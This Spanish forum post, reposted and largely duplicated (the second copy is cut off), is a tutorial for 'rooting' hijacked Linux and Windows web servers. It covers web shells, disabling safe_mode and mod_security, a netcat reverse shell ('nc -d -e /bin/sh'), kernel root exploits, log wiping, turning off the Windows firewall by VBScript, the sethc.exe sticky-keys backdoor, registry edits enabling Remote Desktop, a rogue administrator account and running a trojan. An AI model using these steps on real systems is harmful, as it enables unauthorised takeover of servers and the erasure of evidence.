janod21
15/10/2009, 13:58
obviamente los creditos no son para mi si no pa las teclas ctrl -c ctrl -v
y al men q lo creo .
primero empezamos por linux
Rooteando Servidores Linux
1 - ¿Que es el Rooteo?
2 - ¿Que son las WebShells?
3 - Permisos.
4 - Directiva PHP: safe_mode y forma de aludirla.
5 - Consiguiendo una Shell Inversa.
6 - Kernel Attack.
7 - Borrando logs: zapper en perl.
1 - ¿Que es el Rooteo?
Bien, el Rooteo proviene de la palabra Root, que en ámbitos Linux o Unix se refiere a un Super Usuario el cual posee y ejerce todos los poderes sobre un sistema, tiene permisos de lectura, escritura, ejecución... bajo cualquier circunstancia, de lo que se deduce:
Rooteo = Administrar un sistema con todo privilegio.
El rooteo se realiza mediante el uso de una WebShell (explicado lo que es más abajo), ya haya sido alojada mediante SQLi, RFI, LFI, Xss, hasta un Ataque Flash
2 - ¿Que es una WebShell?
Como su nombre nos indica, Web (de página web) y Shell (línea de comando), es una línea de comando alojada sobre una web que permite ejecutar código (comandos de toda la vida, rm, ls, ping, etc [en linux]) sobre el servidor en el que está alojada.
Están programadas en PHP, gracias a esa funcion de PHP permiten ejecutar código sobre el servidor.
Existen muchas y muy conocidas, C99, R57, Locus, Ajax, N3tSh3ll, en fin, una infinidad, a la hora de trabajar con ellas son muy intuitivas, es como manejarse en un WebFtp pero con más "pecaminosas funciones" http://foro.portalhacker.net/Smileys/classic/winnerfumando.gif
3 - Permisos
Cuando estamos en una WebShell, a la derecha de cada archivo vemos unas letras de este tipo, drwx-r-x
r - Lectura
x - Ejecución
d - Directorio
w - Escritura
- - No hay permiso
4 - Directiva PHP: safe_mode y forma de aludirla
Bien, este punto es muy importante cuando manejamos una WebShell, ya que es la directiva que nos va a dejar trabajar tranquilos, comprueba muchas cosas por razones de seguirdad, las cuales podeis saber que hacen aquí (http://www.hospedajeydominios.com/mambo/documentacion-manual_php-pagina-features_safe_mode.html)... Esta funcion viene deshabilitada por defecto, pero si os encontrais con ella activada haced lo siguiente:
La forma de aludirlo es subir al mismo path donde se encuentra nuestra WebShell un archivo de configuracion de directivas php, de nombre php y extensión .ini, es decir php.ini.
El código del .ini en cuestión es este:
Código:
register_globals = On
engine = On
safe_mode = Off
safe_mode_exec_dir = On
Safe_mode_include_dir = On
Bien, ya hemos mandado a paseo al safe_mode http://foro.portalhacker.net/Smileys/classic/smiley.gif
Otra cosa, cuando esteis sobre un servidor que sea Apache (lo más normal es que si), tambien necesitareis aludir el mod_security que no se muy bien por qué todavía, cuando esta funcionando no me deja trabajar bien http://foro.portalhacker.net/Smileys/classic/undecided.gif
En este caso, debemos buscar por todo el directorio de apache o de la web, un fichero que se llame .htaccess.
.htaccess (Acceso de Hiper-Texto) es el nombre por defecto del archivo de configuración de directorios de Apache. Provee de la habilidad para personalizar la configuración de las directivas definidas en el archivo de configuración principal. Las directivas de configuración necesitan estar en el contexto de .htaccess y el usuario necesita los permisos apropiados. Fuente (http://enespanol.com.ar/2006/04/03/tutorial-de-htaccess/)
Bueno, en la WebShell haceis click, y dentro de el añadis (sin borrar nada) estas lineas de codigo (sin borrar nada XD):
Código:
SecFilterEngine OFF
SecFilterScanPort OFF
SecFilterCheckURLEncoding OFF
SecFilterCheckUnicodeEncoding OFF
5 - Consiguiendo una Shell Inversa
Bueno, esto de conseguir la Shell es opcional, pero es más comodo manejar la shell remota desde la nuestra.
Para eso nos haremos mano de NetCat http://foro.portalhacker.net/Smileys/classic/smiley.gif
Shell Inversa
Aquí es donde entran en juego los BackDoors normalmente codeados en Perl.
En este mismo foro hay uno del FoS Team, BackDoor (http://foro.portalhacker.net/index.php/topic,78067.0.html) (Recomiendo leer bien el code http://foro.portalhacker.net/Smileys/classic/rolleyes.gif)
Bueno, su uso no es complicado, en el code como se puede ver tenemos dos if, depende de cual se declare al usar el BackDoor ejecutará /bin/sh (shell de linux) o cmd (shell de Windows) hacia el NetCat que esté a la escucha.
¿Que lio, verdad? http://foro.portalhacker.net/Smileys/classic/undecided.gif
No es para tanto, lo que hace ese BackDoor, es enviar una Shell ya bien sea de Linux o Windows hacia la Ip y Puerto que le hayamos especificado, hace lo mismo que si ejecutasemos nc -d -e /bin/sh TuIp Puerto, pero la pega esque a veces NetCat no viene instalado en ese tipo de sistemas, pero si perl http://foro.portalhacker.net/Smileys/classic/grin.gif
¿Como usarlo?
Pregunta de oro.
Es fácil, nosotros, al ser una shell inversa debemos abrir nuestra shell y colocar:
Código:
nc -v -L -p 80
Eso en nuestra shell, la que tenemos en Inicio, Ejecutar en el caso de Windows, y Aplicaciones, Accesorios en caso de Linux.
Guay, nosotros ya estamos escuchando con NetCat conexiones entrantes, ahora con el code previamente proporcionado (el del BackDoor BackFos) abrimos un editor de texto cualquiera y lo llamamos como queramos .pl, por ejemplo backfos.pl, lo subimos con la WebShell al directorio /tmp de Linux y lo ejecutamos como bien pone en el código.
Vuelvo a decir que recomiendo leer detenidamente el codigo del backdoor, por si acaso http://foro.portalhacker.net/Smileys/classic/rolleyes.gif
Si todo sale bien deberiamos recibir la shell donde teniamos a NetCat escuchando.
Por ahora vamos bien, tenemos la Shell de un servidor Linux.
Peeeeeeeeeeeee eeeeeero, no somos root, por lo cual estamos muy limitados, tenemos solo control parcial sobre el servidor.
Para remediar eso, debemos hacer lo que se denomina un Kernel Attack.
Kernel Attack
¿Qué es el Kernel?
Kernel es el Núcleo de un SO, es la parte más interna de un SO, la que permite hacer funcionar el HardWare, SoftWare, cargar Drivers, en Fin, lo fundamental para que una máquina funcione.
Una imagen vale más que mil palabras XD
http://upload.wikimedia.org/wikipedia/commons/thumb/a/ae/N%C3%BAcleo_%28inform%C3%A1tica%29.svg/200px-N%C3%BAcleo_%28inform%C3%A1tica%29.svg.png
Bueno, si sabemos que es el Kernel, sabremos que Kernel Attack es algo que ataca al Kernel para poder sacar beneficios.
Eso se realiza mediante Root Exploits, son exploits locales, es decir, que se los cambios se realizan donde fue ejecutado, no remotamente, normalmente programados en C que aprovechan una grave vulnerabilidad del Kernel que use un Sistema Operativo para conseguir dejarnos acceso como root.
Existe un exploit para casi todos los Kernel de Linux.
Para saber que Kernel (no SO) corre un Sistema Operativo Linux, deberemos cojer la shell que hemos recibido cuando escuchabamos y ejecutar lo siguiente:
Código:
uname -r
De lo que nos devolvería esto:
Linux hostname 2.6.24-19-server #1 SMP Sat Jul 12 00:40:01 UTC 2008 i686 GNU/Linux
Bien, examinemos lo que nos dijo:
Linux Hostname - Nombre del Servidor
2.6.24-19 - Versión de Kernel, eso es lo que nos Interesa.
Bien, ahora deberemos hacer mano de Google (http://www.google.es/), e introducir una búsqueda tal que así:
2.6.24 kernel root exploit.
Bueno, cuando tengamos el Exploit, abriremos un editor de texto, pegaremos el code del Root Exploit, y lo guardaremos como lo que sea .c, ejemplo, root.c.
Bien, ahora tenemos que buscar en la WebShell un directorio donde tengamos permisos de ejecucion de archivos.
Leyendo por Internet ví que en /tmp normalmente hay permisos de ejecucion, lectura, escritura y todo eso, así que debemos de introducir:
Código:
cd /tmp
De forma que nos situemos en el directorio tmp de Linux.
Ahora agarramos la WebShell y en las opciones de abajo nos dirigimos a /tmp.
Aí dentro subimos nuestro root.c.
Volvemos a la otra shell y como ya estabamos situados en /tmp introducimos:
Código:
ls
Ahora nos debe mostrar todo lo que hay en ese directorio, debemos buscar root.c y hacer lo siguiente:
Introducimos todo en este orden:
Código:
gcc root.c -o rootexploit
Compilamos el code.
Código:
id
De lo que nos debe devolver uid=numeros(nombre), esa es la Id que teneis ahora, que no es root.
Código:
chmod -c 777 rootexploit
Damos permisos 777, lectura, escritura, ejecucion, etc, para que pueda realizar su cometido.
De lo que devolverá mode of `rootexploit' changed to 0777 (rwxrwxrwx).
Código:
./rootexploit
Cuando haya terminado:
Código:
id
Si nos devuelve uid=0(root)...
¡Hemos Rooteado el servidor!
¡Lo estamos administrando!
¡Podemos incluso apagarlo!
7 - Borrando logs: zapper en perl
Como ahora ya tenemos permisos de escritura, lectura, ejecucion (root), podemos borrar los logs que quedaron estén en el directorio en el que estén, mediante este Zapper en Perl, Zapper (http://foro.portalhacker.net/index.php/topic,89899.0.html).
Como ya sabemos, le damos permisos 777 y perl zapper.pl.
ahora wintendo
1 - 50% de posibilidades.
2 - Bypasseando el Firewall.
3 - Backdoorizando (Terminal Server).
4 - Accediendo como SYSYEM (root de Windows).
5 - Terminal Server sin usuario SYSTEM (Alternativa).
6 - Troyanizando (Alternativa).
7 - Obteniendo Shell con NetCat (Alternativa).
1 - 50% de posibilidades
¿50%?
Si, el cincuenta por ciento de posibilidades que tenemos para que todo salga, o todo no salga (suponiendo que ya hayamos bypasseado lo que debamos haber bypasseado).
¿Por qué esto es así?
Esto es así debido que la persona que haya montado el servidor o servidores haya decidido correrlos con una cuenta Limitada o una de Administrador.
Para poder realizar el rooteo, nos debe haber tocado una cuenta de Administrador (lo más normal es que sí).
La siguiente imagen lo explica:
http://img405.**************/img405/7184/jza.png
Como podemos ver, necesitamos por lo menos Instalar programas y hardware ,realizar cambios en todo el sistema y crear cuentas de usuario (esta es opcional).
2 - Bypasseando el Firewall
Bueno, esto no es muy dificil, ya que simplemente deberemos ejecutar un script Visual Basic Script (VBScript).
Abrimos un editor de texto, y pegamos el siguiente code VBS:
Citar
Set objFirewall = CreateObject("HNetCfg.FwMgr")
Set objPolicy = objFirewall.Lo calPolicy.Curr entProfile
objPolicy.Fire wallEnabled = false
Este code lo guardamos como, firewall.vbs.
Ahora solo debemos subirlo mediante la WebShell al directorio que sea, y en ese mismo directorio ejecutar esto en la entrada de comandos de la WebShell:
Código:
rutadelarchivo\firewall.vbs
Es decir, imaginemos que hemos viajado hasta el disco C: :
Código:
C:\firewall.vbs
Chao Firewall http://foro.portalhacker.net/Smileys/classic/andatea.gif !
3 - Backdoorizando (Terminal Server)
Bien, esto consiste en habilitarle el servidor de Terminal Server, Escritorio Remoto de Windows en otras palabras, y de paso cambiarle sethc.exe por cmd.exe.
Para ello podeis echar un vistazo al tutorial que hizo hace tiempo 3D1, Manual - Hackear por Escritorio Remoto de Windows (Por Puerto 3389) (http://foro.portalhacker.net/index.php/topic,79495.0.html).
Lo seguis hasta el paso 2.1), y copiais el segundo code, lo guardais como backdoor.bat y ya http://foro.portalhacker.net/Smileys/classic/grin.gif
Cuando esté el .bat listo, simplemente habrá que subirlo mediante la WebShell al directorio que se quiera y hacer lo mismo que con el VBScript:
Código:
rutadelarchivo\backdoor.bat
En caso de estar en C: :
Código:
C:\backdoor.bat
Ahora rezemos porque se haya abierto el puerto en el Router http://foro.portalhacker.net/Smileys/classic/undecided.gif
4 - Accediendo como SYSYEM (root de Windows)
Si se ha backdoorizado correctamente y nuestro señor nos ha abierto el puerto en el Router (XD), bastaría con hacerle una visitita con nuestro cliente de escritorio remoto o rdesktop de Linux.
En el caso que estemos en Windows:
Inicio, ejecutar, mstsc.exe o Iinicio\Todos los Programas\Accesorios\Comunicaciones\Conexion a Escritorio Remoto.
En ese menú, le damos al botón [Opciones >>]
Luego nos pasamos a la pestaña "Recursos locales"
y cambiamos solo la opcion "Teclado", desplegamos la lista y seleccionamos "En el equipo remoto".
En el caso de Linux no hay que configurar eso, ya que siempre se ejecuta en el equipo remoto.
Llegó la hora de la verdad... [IMG]http://foro.portalhacker.net/Smileys/classic/tongue.gif[/IMG]
Abriremos nuestra consola y haremos un ping a la web, de forma que nos devuelva la Ip del servidor en el que se aloja y hemos backdoorizado.
Citar
[I]ping www.pagina.com (http://www.pagina.com/)
Haciendo ping a www.pagina.com (http://www.pagina.com/) [[COLOR=red]123.123.123.12 3[/COLOR]] con 32 bytes de datos:
Respuesta desde [COLOR=red]123.123.123.12 3[/COLOR]: bytes=32 tiempo=71ms TTL=246
Respuesta desde [COLOR=red]123.123.123.12 3[/COLOR]: bytes=32 tiempo=56ms TTL=246
Respuesta desde [COLOR=red]123.123.123.12 3[/COLOR]: bytes=32 tiempo=62ms TTL=246
Respuesta desde [COLOR=red]123.123.123.12 3[/COLOR]: bytes=32 tiempo=62ms TTL=246
Estadísticas de ping para [COLOR=red]123.123.123.12 3[/COLOR]:
Paquetes: enviados = 4, recibidos = 4, perdidos = 0
(0% perdidos),
Tiempos aproximados de ida y vuelta en milisegundos:
Mínimo = 56ms, Máximo = 71ms, Media = 62ms[/I]
Eso en Win, en Linux es igual.
Bueno, a nosotros nos interesa la parte roja, que es la Ip del servidor en el que se aloja la Web.
Esa es la Ip que debemos introducir en el cliente de escritorio remoto.
En Windows con el cliente abierto:
Código:
[I]Equipo: [123.123.123.123]
[Conectar][/I]
Simplemente le damos a conectar.
En Linux abrimos una terminal e introducimos:
Código:
[I]rdesktop 123.123.123.123[/I]
Bueno, si el señor fué bueno y nos abrio el puerto en el Router, deberiamos estar en el Logon de Windows, donde nos pide un usuario y una password.
Aunque no la sepamos, como habíamos Backdoorizado con el .bat de 3D1, al presionar 5 veces la tecla shift:
[IMG]http://2.bp.blogspot.com/_BPl8xhUr_J0/SCUVc7Qj66I/AAAAAAAABcY/1RTh4WapUqY/s200/teclado_tecla_shift.jpg[/IMG]
Se nos abrirá una consola situada en la raíz del systema, osease, [B]system32[/B]...
Povale, que bien XD.
¿Pero donde está el SYSTEM?
Bueno, si quereis enteraros de como funciona la cosa clickead aquí (http://foro.portalhacker.net/index.php/topic,83263.html), si quereis ahorrar el paso de leerlo haced lo siguiente:
Situados en la Consola que se abrio en el Logon del servidor, teclead [B]explorer.exe[/B], y bueno, lo que pasa en windows es que al haber abierto una Consola sin que haya sido abierta desde el menu ejecutar, herramientas en el inicio, o desde la carpeta system32, se abrira con el nombre de svchost.exe, y al ejecutar el proceso explorer, se abrirá el escritorio y nuestro usuario será SYSTEM, que viene a ser algo así como el root de Windows, ojo, que no es un root como el de Linux o Unix, es un root oculto que en principio no se debería saber de él ( [IMG]http://foro.portalhacker.net/Smileys/classic/shocked.gif[/IMG] somos kakers que nos saltamos la ley [IMG]http://foro.portalhacker.net/Smileys/classic/shocked.gif[/IMG])
Bueo, a la cosa, ejecutamos [B]explorer.exe[/B] y se nos abrira el escritorio...
Pulsamos el boton de la tecla inicio, miramos el usuario...
¡SYSTEM!
¡Somos root en windows sin necesidad de root exploits!
Ya podeis si quereis cerrar la consola, teclear [B]Alt Ctrl Supr[/B] y en la pestaña procesos cerrar winlogon.exe, que sino se nos quedará de fondo de pantalla lo de meter el usuario y password [IMG]http://foro.portalhacker.net/Smileys/classic/tongue.gif[/IMG]
[B][I][COLOR=red]5 - Terminal Server sin usuario SYSTEM[/COLOR][/I][/B]
¿Qué quiere decir esto?
Pues que para realizar esta conexión, no vamos a sustituir sethc.exe por cmd.exe, sino que vamos a hacer una conexión normal.
Para esto, se debe de crear un bat que habilite Terminal Server (Escritorio Remoto de Windows) de la siguiente manera:
Código:
[I]reg delete "HKLM\System\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnect ions /f
reg add "HKLM\System\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnect ions /t "REG_DWORD" /d 0[/I]
Sacado del tuto de 3D1.
Borra la clave del registro que bloquea las conexiones entranter de Terminal Server y crea una clave que las acepta.
Eso lo guardamos como escritorio.bat .
Entonces hacemos mano de nuestra WebShell, subimos el bat y hacemos lo siguiente:
Código:
[I]rutadelbat\escritorio.bat[/I]
Es decir, si lo hemos subido en C: :
Código:
[I]C:\escritorio.bat[/I]
Bueno, con eso se supone que el servidor de termial server está activo en el servidor remoto.
Ahora tenemos que crear un usuario con derechos de administador para poder conectarnos.
Vamos a la entrada de comandos de la WebShell y escribimos:
Código:
[I]Net User Nombre Contraseña /add[/I]
Por ejemplo, si de nombre le queremos poner [B]messerschmitt[/B] y de contraseña [B]123456[/B]:
Código:
[I]Net User messerschmitt 123456 /add[/I]
Vale, ya hemos creado un usuario, pero todavía no tiene privilegios de administrador, para dárselos, hacemos lo siguiente:
Código:
[I]Net Localgroup Administrators Nombre /add[/I]
Si el usuario que hemos creado es [B]messerschmitt[/B]:
Código:
[I]Net Localgroup Administrators messerschmitt /add[/I]
Bueno, como ya tenemos el Terminal Server activo y corriendo, y un usuario con privilegios de adminstrador, solo queda conectarnos vía Escritorio Remoto, poner de nombre messerschmitt y contraseña 123456, y boilá, tenemos el servidor en nuestras manos [IMG]http://foro.portalhacker.net/Smileys/classic/cheesy.gif[/IMG]
[B][I][COLOR=red]6 - Troyanizando[/COLOR][/I][/B]
Bueno, esta parte es la más fácil y lammer con menos mérito.
Simplemente hay que hacer mano de la WebShell, subir nuestro troyano, y ejecutarlo mediante la entrada de comandos:
Código:
[I]rutadeltroyano\server.exe[/I]
Es decir, si lo hemos subido a C: :
Código:
[I]C:\server.exe[/I]
Y boilá, hemos infectado un servidor remoto sin necesidad de tratar con el dueño por msn http://foro.portalhacker.net/Smileys/classic/grin.gif
Aunque personalmente prefiero todo el método de backdoorizar y acceder como SYSTEM, que aunque sea más largo y tedioso es la verdadera forma de hacer las cosas bien, enterandote de cómo son http://foro.portalhacker.net/Smileys/classic/smiley.gif
[I][B][COLOR=red]7 - Obteniendo Shell con NetCat[/COLOR][/B][/I]
Es simple, simplemente tenemos que obtener a NetCat para sistemas Windows y subirlo a la raíz del servidor, así que cojemos nuestra WebShell, nos dirigimos a [B]system32[/B], y subimos nuestro nc.exe.
Como ya sabemos obtener una shell ya bien sea inversa o directa lo haremos con la entrada de comandos de la WebShell [IMG]http://foro.portalhacker.net/Smileys/classic/wink.gif[/IMG]
esperando buenas gracias al men q los creo me despido
y al men q lo creo .
primero empezamos por linux
Rooteando Servidores Linux
1 - ¿Que es el Rooteo?
2 - ¿Que son las WebShells?
3 - Permisos.
4 - Directiva PHP: safe_mode y forma de aludirla.
5 - Consiguiendo una Shell Inversa.
6 - Kernel Attack.
7 - Borrando logs: zapper en perl.
1 - ¿Que es el Rooteo?
Bien, el Rooteo proviene de la palabra Root, que en ámbitos Linux o Unix se refiere a un Super Usuario el cual posee y ejerce todos los poderes sobre un sistema, tiene permisos de lectura, escritura, ejecución... bajo cualquier circunstancia, de lo que se deduce:
Rooteo = Administrar un sistema con todo privilegio.
El rooteo se realiza mediante el uso de una WebShell (explicado lo que es más abajo), ya haya sido alojada mediante SQLi, RFI, LFI, Xss, hasta un Ataque Flash
2 - ¿Que es una WebShell?
Como su nombre nos indica, Web (de página web) y Shell (línea de comando), es una línea de comando alojada sobre una web que permite ejecutar código (comandos de toda la vida, rm, ls, ping, etc [en linux]) sobre el servidor en el que está alojada.
Están programadas en PHP, gracias a esa funcion de PHP permiten ejecutar código sobre el servidor.
Existen muchas y muy conocidas, C99, R57, Locus, Ajax, N3tSh3ll, en fin, una infinidad, a la hora de trabajar con ellas son muy intuitivas, es como manejarse en un WebFtp pero con más "pecaminosas funciones" http://foro.portalhacker.net/Smileys/classic/winnerfumando.gif
3 - Permisos
Cuando estamos en una WebShell, a la derecha de cada archivo vemos unas letras de este tipo, drwx-r-x
r - Lectura
x - Ejecución
d - Directorio
w - Escritura
- - No hay permiso
4 - Directiva PHP: safe_mode y forma de aludirla
Bien, este punto es muy importante cuando manejamos una WebShell, ya que es la directiva que nos va a dejar trabajar tranquilos, comprueba muchas cosas por razones de seguirdad, las cuales podeis saber que hacen aquí (http://www.hospedajeydominios.com/mambo/documentacion-manual_php-pagina-features_safe_mode.html)... Esta funcion viene deshabilitada por defecto, pero si os encontrais con ella activada haced lo siguiente:
La forma de aludirlo es subir al mismo path donde se encuentra nuestra WebShell un archivo de configuracion de directivas php, de nombre php y extensión .ini, es decir php.ini.
El código del .ini en cuestión es este:
Código:
register_globals = On
engine = On
safe_mode = Off
safe_mode_exec_dir = On
Safe_mode_include_dir = On
Bien, ya hemos mandado a paseo al safe_mode http://foro.portalhacker.net/Smileys/classic/smiley.gif
Otra cosa, cuando esteis sobre un servidor que sea Apache (lo más normal es que si), tambien necesitareis aludir el mod_security que no se muy bien por qué todavía, cuando esta funcionando no me deja trabajar bien http://foro.portalhacker.net/Smileys/classic/undecided.gif
En este caso, debemos buscar por todo el directorio de apache o de la web, un fichero que se llame .htaccess.
.htaccess (Acceso de Hiper-Texto) es el nombre por defecto del archivo de configuración de directorios de Apache. Provee de la habilidad para personalizar la configuración de las directivas definidas en el archivo de configuración principal. Las directivas de configuración necesitan estar en el contexto de .htaccess y el usuario necesita los permisos apropiados. Fuente (http://enespanol.com.ar/2006/04/03/tutorial-de-htaccess/)
Bueno, en la WebShell haceis click, y dentro de el añadis (sin borrar nada) estas lineas de codigo (sin borrar nada XD):
Código:
SecFilterEngine OFF
SecFilterScanPort OFF
SecFilterCheckURLEncoding OFF
SecFilterCheckUnicodeEncoding OFF
5 - Consiguiendo una Shell Inversa
Bueno, esto de conseguir la Shell es opcional, pero es más comodo manejar la shell remota desde la nuestra.
Para eso nos haremos mano de NetCat http://foro.portalhacker.net/Smileys/classic/smiley.gif
Shell Inversa
Aquí es donde entran en juego los BackDoors normalmente codeados en Perl.
En este mismo foro hay uno del FoS Team, BackDoor (http://foro.portalhacker.net/index.php/topic,78067.0.html) (Recomiendo leer bien el code http://foro.portalhacker.net/Smileys/classic/rolleyes.gif)
Bueno, su uso no es complicado, en el code como se puede ver tenemos dos if, depende de cual se declare al usar el BackDoor ejecutará /bin/sh (shell de linux) o cmd (shell de Windows) hacia el NetCat que esté a la escucha.
¿Que lio, verdad? http://foro.portalhacker.net/Smileys/classic/undecided.gif
No es para tanto, lo que hace ese BackDoor, es enviar una Shell ya bien sea de Linux o Windows hacia la Ip y Puerto que le hayamos especificado, hace lo mismo que si ejecutasemos nc -d -e /bin/sh TuIp Puerto, pero la pega esque a veces NetCat no viene instalado en ese tipo de sistemas, pero si perl http://foro.portalhacker.net/Smileys/classic/grin.gif
¿Como usarlo?
Pregunta de oro.
Es fácil, nosotros, al ser una shell inversa debemos abrir nuestra shell y colocar:
Código:
nc -v -L -p 80
Eso en nuestra shell, la que tenemos en Inicio, Ejecutar en el caso de Windows, y Aplicaciones, Accesorios en caso de Linux.
Guay, nosotros ya estamos escuchando con NetCat conexiones entrantes, ahora con el code previamente proporcionado (el del BackDoor BackFos) abrimos un editor de texto cualquiera y lo llamamos como queramos .pl, por ejemplo backfos.pl, lo subimos con la WebShell al directorio /tmp de Linux y lo ejecutamos como bien pone en el código.
Vuelvo a decir que recomiendo leer detenidamente el codigo del backdoor, por si acaso http://foro.portalhacker.net/Smileys/classic/rolleyes.gif
Si todo sale bien deberiamos recibir la shell donde teniamos a NetCat escuchando.
Por ahora vamos bien, tenemos la Shell de un servidor Linux.
Peeeeeeeeeeeee eeeeeero, no somos root, por lo cual estamos muy limitados, tenemos solo control parcial sobre el servidor.
Para remediar eso, debemos hacer lo que se denomina un Kernel Attack.
Kernel Attack
¿Qué es el Kernel?
Kernel es el Núcleo de un SO, es la parte más interna de un SO, la que permite hacer funcionar el HardWare, SoftWare, cargar Drivers, en Fin, lo fundamental para que una máquina funcione.
Una imagen vale más que mil palabras XD
http://upload.wikimedia.org/wikipedia/commons/thumb/a/ae/N%C3%BAcleo_%28inform%C3%A1tica%29.svg/200px-N%C3%BAcleo_%28inform%C3%A1tica%29.svg.png
Bueno, si sabemos que es el Kernel, sabremos que Kernel Attack es algo que ataca al Kernel para poder sacar beneficios.
Eso se realiza mediante Root Exploits, son exploits locales, es decir, que se los cambios se realizan donde fue ejecutado, no remotamente, normalmente programados en C que aprovechan una grave vulnerabilidad del Kernel que use un Sistema Operativo para conseguir dejarnos acceso como root.
Existe un exploit para casi todos los Kernel de Linux.
Para saber que Kernel (no SO) corre un Sistema Operativo Linux, deberemos cojer la shell que hemos recibido cuando escuchabamos y ejecutar lo siguiente:
Código:
uname -r
De lo que nos devolvería esto:
Linux hostname 2.6.24-19-server #1 SMP Sat Jul 12 00:40:01 UTC 2008 i686 GNU/Linux
Bien, examinemos lo que nos dijo:
Linux Hostname - Nombre del Servidor
2.6.24-19 - Versión de Kernel, eso es lo que nos Interesa.
Bien, ahora deberemos hacer mano de Google (http://www.google.es/), e introducir una búsqueda tal que así:
2.6.24 kernel root exploit.
Bueno, cuando tengamos el Exploit, abriremos un editor de texto, pegaremos el code del Root Exploit, y lo guardaremos como lo que sea .c, ejemplo, root.c.
Bien, ahora tenemos que buscar en la WebShell un directorio donde tengamos permisos de ejecucion de archivos.
Leyendo por Internet ví que en /tmp normalmente hay permisos de ejecucion, lectura, escritura y todo eso, así que debemos de introducir:
Código:
cd /tmp
De forma que nos situemos en el directorio tmp de Linux.
Ahora agarramos la WebShell y en las opciones de abajo nos dirigimos a /tmp.
Aí dentro subimos nuestro root.c.
Volvemos a la otra shell y como ya estabamos situados en /tmp introducimos:
Código:
ls
Ahora nos debe mostrar todo lo que hay en ese directorio, debemos buscar root.c y hacer lo siguiente:
Introducimos todo en este orden:
Código:
gcc root.c -o rootexploit
Compilamos el code.
Código:
id
De lo que nos debe devolver uid=numeros(nombre), esa es la Id que teneis ahora, que no es root.
Código:
chmod -c 777 rootexploit
Damos permisos 777, lectura, escritura, ejecucion, etc, para que pueda realizar su cometido.
De lo que devolverá mode of `rootexploit' changed to 0777 (rwxrwxrwx).
Código:
./rootexploit
Cuando haya terminado:
Código:
id
Si nos devuelve uid=0(root)...
¡Hemos Rooteado el servidor!
¡Lo estamos administrando!
¡Podemos incluso apagarlo!
7 - Borrando logs: zapper en perl
Como ahora ya tenemos permisos de escritura, lectura, ejecucion (root), podemos borrar los logs que quedaron estén en el directorio en el que estén, mediante este Zapper en Perl, Zapper (http://foro.portalhacker.net/index.php/topic,89899.0.html).
Como ya sabemos, le damos permisos 777 y perl zapper.pl.
ahora wintendo
1 - 50% de posibilidades.
2 - Bypasseando el Firewall.
3 - Backdoorizando (Terminal Server).
4 - Accediendo como SYSYEM (root de Windows).
5 - Terminal Server sin usuario SYSTEM (Alternativa).
6 - Troyanizando (Alternativa).
7 - Obteniendo Shell con NetCat (Alternativa).
1 - 50% de posibilidades
¿50%?
Si, el cincuenta por ciento de posibilidades que tenemos para que todo salga, o todo no salga (suponiendo que ya hayamos bypasseado lo que debamos haber bypasseado).
¿Por qué esto es así?
Esto es así debido que la persona que haya montado el servidor o servidores haya decidido correrlos con una cuenta Limitada o una de Administrador.
Para poder realizar el rooteo, nos debe haber tocado una cuenta de Administrador (lo más normal es que sí).
La siguiente imagen lo explica:
http://img405.**************/img405/7184/jza.png
Como podemos ver, necesitamos por lo menos Instalar programas y hardware ,realizar cambios en todo el sistema y crear cuentas de usuario (esta es opcional).
2 - Bypasseando el Firewall
Bueno, esto no es muy dificil, ya que simplemente deberemos ejecutar un script Visual Basic Script (VBScript).
Abrimos un editor de texto, y pegamos el siguiente code VBS:
Citar
Set objFirewall = CreateObject("HNetCfg.FwMgr")
Set objPolicy = objFirewall.Lo calPolicy.Curr entProfile
objPolicy.Fire wallEnabled = false
Este code lo guardamos como, firewall.vbs.
Ahora solo debemos subirlo mediante la WebShell al directorio que sea, y en ese mismo directorio ejecutar esto en la entrada de comandos de la WebShell:
Código:
rutadelarchivo\firewall.vbs
Es decir, imaginemos que hemos viajado hasta el disco C: :
Código:
C:\firewall.vbs
Chao Firewall http://foro.portalhacker.net/Smileys/classic/andatea.gif !
3 - Backdoorizando (Terminal Server)
Bien, esto consiste en habilitarle el servidor de Terminal Server, Escritorio Remoto de Windows en otras palabras, y de paso cambiarle sethc.exe por cmd.exe.
Para ello podeis echar un vistazo al tutorial que hizo hace tiempo 3D1, Manual - Hackear por Escritorio Remoto de Windows (Por Puerto 3389) (http://foro.portalhacker.net/index.php/topic,79495.0.html).
Lo seguis hasta el paso 2.1), y copiais el segundo code, lo guardais como backdoor.bat y ya http://foro.portalhacker.net/Smileys/classic/grin.gif
Cuando esté el .bat listo, simplemente habrá que subirlo mediante la WebShell al directorio que se quiera y hacer lo mismo que con el VBScript:
Código:
rutadelarchivo\backdoor.bat
En caso de estar en C: :
Código:
C:\backdoor.bat
Ahora rezemos porque se haya abierto el puerto en el Router http://foro.portalhacker.net/Smileys/classic/undecided.gif
4 - Accediendo como SYSYEM (root de Windows)
Si se ha backdoorizado correctamente y nuestro señor nos ha abierto el puerto en el Router (XD), bastaría con hacerle una visitita con nuestro cliente de escritorio remoto o rdesktop de Linux.
En el caso que estemos en Windows:
Inicio, ejecutar, mstsc.exe o Iinicio\Todos los Programas\Accesorios\Comunicaciones\Conexion a Escritorio Remoto.
En ese menú, le damos al botón [Opciones >>]
Luego nos pasamos a la pestaña "Recursos locales"
y cambiamos solo la opcion "Teclado", desplegamos la lista y seleccionamos "En el equipo remoto".
En el caso de Linux no hay que configurar eso, ya que siempre se ejecuta en el equipo remoto.
Llegó la hora de la verdad... [IMG]http://foro.portalhacker.net/Smileys/classic/tongue.gif[/IMG]
Abriremos nuestra consola y haremos un ping a la web, de forma que nos devuelva la Ip del servidor en el que se aloja y hemos backdoorizado.
Citar
[I]ping www.pagina.com (http://www.pagina.com/)
Haciendo ping a www.pagina.com (http://www.pagina.com/) [[COLOR=red]123.123.123.12 3[/COLOR]] con 32 bytes de datos:
Respuesta desde [COLOR=red]123.123.123.12 3[/COLOR]: bytes=32 tiempo=71ms TTL=246
Respuesta desde [COLOR=red]123.123.123.12 3[/COLOR]: bytes=32 tiempo=56ms TTL=246
Respuesta desde [COLOR=red]123.123.123.12 3[/COLOR]: bytes=32 tiempo=62ms TTL=246
Respuesta desde [COLOR=red]123.123.123.12 3[/COLOR]: bytes=32 tiempo=62ms TTL=246
Estadísticas de ping para [COLOR=red]123.123.123.12 3[/COLOR]:
Paquetes: enviados = 4, recibidos = 4, perdidos = 0
(0% perdidos),
Tiempos aproximados de ida y vuelta en milisegundos:
Mínimo = 56ms, Máximo = 71ms, Media = 62ms[/I]
Eso en Win, en Linux es igual.
